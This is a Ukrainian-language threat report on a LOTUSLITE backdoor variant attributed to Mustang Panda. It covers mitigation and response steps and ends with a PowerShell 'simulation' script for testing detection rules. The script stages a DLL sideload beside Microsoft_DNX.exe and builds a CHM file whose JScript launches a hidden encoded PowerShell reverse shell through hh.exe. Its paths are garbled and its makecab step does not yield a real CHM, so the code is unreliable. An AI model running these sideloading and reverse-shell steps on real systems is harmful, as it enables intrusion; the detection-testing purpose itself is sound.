Той самий пакет, інша магія: Mustang Panda атакує банківський сектор Індії та геополітику Кореї

Резюме

Підрозділ Acronis Threat Research виявив новий варіант бекдору LOTUSLITE, націлений на організації банківського сектору Індії та осіб, пов’язаних з дипломатичними справами Південної Кореї. Шкідливе програмне забезпечення розповсюджується через завантаження DLL, спираючись на легітимний виконуваний файл, підписаний Microsoft, для завантаження шкідливої бібліотеки, а потім взаємодіє з сервером команд і керування, заснованим на динамічному DNS, через HTTPS. На основі шаблонів інфраструктури та перетину з торгівлею дослідники віднесли цю діяльність до Mustang Panda з помірною впевненістю.

Розслідування

Аналітики дослідили шкідливий файл CHM, завантажувач на основі JavaScript та підписаний Microsoft_DNX.exe бінарник, який завантажив DLL, що несе пакет LOTUSLITE. Їх аналіз виявив оновлення в експортованих функціях, конвенціях іменування mutex, команди командного рядка, магічні значення пакетів та методи API. Команда також пов’язала операцію з попередніми кампаніями Mustang Panda через повторно використовувані домени, керовані Dynu, та пов’язану IP-інфраструктуру.

Міграція

Захисники повинні запобігати несанкціонованому завантаженню DLL в довірені виконувані файли, підписані Microsoft, моніторити виявлені шаблони mutex та змінені аргументи командного рядка і застосовувати суворий контроль навколо трафіку динамічного DNS. Служби безпеки також повинні виявляти характерне магічне значення пакета 0xB2EBCFDF та стежити за підозрілими HKCU змінами ключа автозавантаження, що можуть свідчити про стійкість.

Відповідь

Якщо цю діяльність виявлено, потрібно негайно ізолювати уражену систему, зупинити шкідливий процес і видалити як завантажений DLL, так і зловживаний виконуваний файл з диска. Повинен бути захоплений образ пам’яті для судової експертизи, відкриті облікові дані слід скасувати, а виявлені домени команд-керування та IP-адреси блокувати. Також повинен бути проведений ширший пошук у всьому середовищі для артефактів стійкості на основі mutex та реєстру, пов’язаних з кампанією.

Симуляція виконання

Передумова: Телереметрія та перевірка передбачуваності повинні пройти.

Обґрунтування: Цей розділ детально описує точне виконання техніки противника (TTP), призначеної для активізації правила виявлення. Команди та оповідання ПОВИННІ безпосередньо відображати ідентифіковані TTP та мають генерувати саме очікувану телеметрію відповідно до логіки виявлення.

• Нарратив атаки та команди:

  1. Етап підготовки шкідливого DLL:

     • Зловмисник копіює шкідливий DLL (lotuslite.dll) в ту саму директорію, що й легітимний Microsoft_DNX.exe. Цей DLL містить корисне навантаження бекдору.

  2. Виконати завантаження DLL через Microsoft_DNX.exe:

     • Шляхом запуску Microsoft_DNX.exe без аргументів, Windows спочатку завантажує шкідливий DLL (через викрадення “порядку пошуку”), виконуючи бекдор.

  3. Створити шкідливий CHM:

     • Файл CHM (evil.chm) створено, що містить JavaScript, який при рендерингу запускає зворотну оболонку PowerShell.

  4. Активувати JavaScript через hh.exe:

     • Зловмисник запускає hh.exe evil.chm, що змушує виконуваний файл HTML Help аналізувати CHM і виконувати вбудований скрипт, досягаючи виконання коду під підписаним бінарником.

  Ця послідовність генерує два різні події створення процесу Sysmon, що відповідають умовам правила виявлення.

• Скрипт регресійного тестування:

  # -------------------------------------------------------------------------
  # Симуляція LotusLite – завантаження DLL + виконання CHM через hh.exe
  # -------------------------------------------------------------------------
  # Передумови:
  #   - Встановлено Sysmon і переадресація журналів.
  #   - Привілеї адміністратора (необхідні для запису у Program Files).
  
  $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
  $dnxDir  = Split-Path $dnxPath -Parent
  
  # 1. Розгорніть шкідливий DLL (симуляція навантаження)
  $malDllSource = "C:Templotuslite.dll"      # <-- замінити правильною директорією навантаження
  $malDllDest   = Join-Path $dnxDir "lotuslite.dll"
  Copy-Item -Path $malDllSource -Destination $malDllDest -Force
  
  # 2. Запустіть Microsoft_DNX.exe для ініціації завантаження DLL
  Write-Host "[*] Запуск Microsoft_DNX.exe для завантаження DLL..."
  Start-Process -FilePath $dnxPath -WindowStyle Hidden
  
  # 3. Створіть шкідливий CHM з JavaScript (спрощений приклад)
  $chmPath = "C:Tempevil.chm"
  $htmlContent = @"
  <HTML><HEAD>
  <SCRIPT language=`"JScript`">
  var shell = new ActiveXObject("WScript.Shell");
  shell.Run("powershell -nop -w hidden -EncodedCommand <base64-rev-shell>", 0);
  </SCRIPT>
  </HEAD><BODY></BODY></HTML>
  "@
  
  $tempHtml = "C:Tempevil.html"
  $htmlContent | Out-File -FilePath $tempHtml -Encoding ASCII
  
  # Використовуйте makecab для обгортання HTML в CHM (потребує інструментів Windows SDK)
  $makeCab = "$env:WINDIRsystem32makecab.exe"
  & $makeCab /D "CompressionType=MSZIP" $tempHtml $chmPath
  
  # 4. Виконайте CHM через hh.exe
  Write-Host "[*] Запуск hh.exe на шкідливому CHM..."
  Start-Process -FilePath "$env:SystemRootSystem32hh.exe" -ArgumentList $chmPath -WindowStyle Hidden
  
  # Очистіть тимчасові файли (залиште шкідливий DLL для післядіяльного аналізу)
  Remove-Item $tempHtml -Force
  Write-Host "[*] Симуляцію завершено."

• Команди очищення:

  # -------------------------------------------------------------------------
  # Очищення після симуляції LotusLite
  # -------------------------------------------------------------------------
  $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
  $dnxDir  = Split-Path $dnxPath -Parent
  $malDllDest = Join-Path $dnxDir "lotuslite.dll"
  $chmPath = "C:Tempevil.chm"
  
  # Видаляти зловмисний DLL
  if (Test-Path $malDllDest) {
      Remove-Item $malDllDest -Force
      Write-Host "[*] Зловмисний DLL видалено."
  }
  
  # Видалити CHM
  if (Test-Path $chmPath) {
      Remove-Item $chmPath -Force
      Write-Host "[*] Шкідливий CHM видалено."
  }
  
  # За наявності термінації залишкових процесів (якщо є)
  Get-Process -Name "Microsoft_DNX","hh" -ErrorAction SilentlyContinue | Stop-Process -Force
  Write-Host "[*] Очищення завершено."